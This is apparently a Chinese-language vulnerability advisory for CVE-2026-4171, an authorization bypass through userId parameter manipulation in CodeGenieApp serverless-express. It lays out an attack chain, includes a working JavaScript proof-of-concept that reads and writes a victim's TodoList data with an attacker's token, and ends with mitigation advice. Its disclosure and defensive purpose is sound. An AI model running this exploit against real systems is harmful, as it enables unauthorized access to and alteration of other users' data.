IPBUF安全漏洞报告
English
CVE-2026-4171 CVSS 6.3 中危

CVE-2026-4171 CodeGenieApp serverless-express 授权绕过漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4171
漏洞类型
授权绕过
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CodeGenieApp serverless-express

相关标签

授权绕过横向权限提升CodeGenieAppserverless-expressAPI Endpoint身份验证缺陷CVE-2026-4171

漏洞概述

CVE-2026-4171是一个存在于CodeGenieApp serverless-express框架中的授权绕过漏洞。该漏洞影响serverless-express 4.17.1及之前版本,问题的核心在于API Endpoint组件中的文件examples/lambda-function-url/packages/api/models/TodoList.ts对userId参数的处理存在安全缺陷。攻击者可以通过操纵userId参数绕过正常的授权检查机制,在低权限情况下访问未授权的资源或功能。该漏洞的CVSS评分为6.3,属于中等严重程度,攻击向量为网络形式,无需用户交互即可发起攻击。漏洞已于2026年3月16日公开披露,厂商虽被提前告知但未做出任何回应。由于该漏洞的利用代码已公开披露且可远程利用,建议受影响用户尽快采取防护措施。

技术细节

该授权绕过漏洞存在于CodeGenieApp serverless-express框架的API Endpoint组件中,具体位置在examples/lambda-function-url/packages/api/models/TodoList.ts文件。漏洞的根本原因在于程序对userId参数的处理逻辑存在缺陷,未能正确验证请求发起者的身份与目标userId是否匹配。攻击者可以通过在API请求中操纵userId参数值来访问其他用户的资源或执行未授权操作。由于攻击向量为网络形式(AV:N),且只需要低权限(PR:L),任何能够访问API端点的攻击者都可以尝试利用此漏洞。漏洞属于横向权限提升类型,攻击者可以利用自己的低权限账号,通过修改userId参数来访问或操作其他用户的数据。CVSS向量中的机密性、完整性和可用性影响均为低(C:L/I:L/A:L),表明该漏洞主要风险在于未授权数据访问。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标系统使用的CodeGenieApp serverless-express框架版本,确认版本是否在受影响范围内(≤4.17.1)
STEP 2
认证获取
攻击者注册低权限账户或利用已有低权限账号获取有效的访问令牌(Bearer Token)
STEP 3
漏洞探测
攻击者构造带有userId参数的API请求,观察服务器响应,验证是否存在授权绕过漏洞
STEP 4
参数操纵
攻击者将请求中的userId参数值修改为目标用户(受害者)的ID,利用授权检查缺陷绕过权限验证
STEP 5
数据窃取
成功绕过授权后,攻击者可以读取受害用户的TodoList数据,包括敏感信息
STEP 6
横向移动
攻击者进一步尝试修改或删除受害用户的数据,甚至利用获取的信息进行更深层次的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-4171 PoC - Authorization Bypass via userId Parameter Manipulation // Target: CodeGenieApp serverless-express API Endpoint const axios = require('axios'); // Configuration const TARGET_URL = 'https://target-server.com/api/todolist'; const ATTACKER_TOKEN = 'attacker_low_privilege_token'; const VICTIM_USER_ID = 'victim_user_id_123'; async function exploitAuthorizationBypass() { console.log('[+] CVE-2026-4171 Authorization Bypass Exploit'); console.log('[+] Target:', TARGET_URL); // Step 1: Normal request with attacker's own userId console.log('\n[*] Step 1: Testing with attacker userId...'); try { const normalResponse = await axios.get(`${TARGET_URL}`, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' }, params: { userId: 'attacker_own_user_id' } }); console.log('[+] Normal request successful:', normalResponse.status); } catch (error) { console.log('[-] Normal request failed:', error.message); } // Step 2: Exploit - Bypass authorization by manipulating userId console.log('\n[*] Step 2: Exploiting authorization bypass with victim userId...'); try { const exploitResponse = await axios.get(`${TARGET_URL}`, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' }, params: { userId: VICTIM_USER_ID // Manipulating userId to access victim's data } }); console.log('[+] Exploit successful - Accessed victim data!'); console.log('[+] Response status:', exploitResponse.status); console.log('[+] Response data:', JSON.stringify(exploitResponse.data, null, 2)); return true; } catch (error) { console.log('[-] Exploit failed:', error.message); return false; } } // POST request exploitation async function exploitWriteOperations() { console.log('\n[*] Step 3: Testing write operations on victim account...'); try { const writeResponse = await axios.post(`${TARGET_URL}`, { userId: VICTIM_USER_ID, data: { title: 'Malicious Todo Item', description: 'Added via authorization bypass' } }, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' } }); console.log('[+] Write operation successful!'); console.log('[+] Response:', JSON.stringify(writeResponse.data, null, 2)); } catch (error) { console.log('[-] Write operation failed:', error.message); } } // Execute exploit (async () => { const success = await exploitAuthorizationBypass(); if (success) { await exploitWriteOperations(); } console.log('\n[!] Exploit completed'); })();

影响范围

CodeGenieApp serverless-express <= 4.17.1

防御指南

临时缓解措施
由于厂商未回应此漏洞披露,建议采取以下临时缓解措施:1)在应用层实施额外的授权检查,确保当前认证用户的身份与请求的userId参数一致;2)使用Web应用防火墙(WAF)规则限制异常的userId参数请求;3)实施速率限制防止自动化攻击;4)监控API访问日志,及时发现和阻止可疑的横向权限提升行为;5)考虑使用API网关进行统一的认证和授权管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表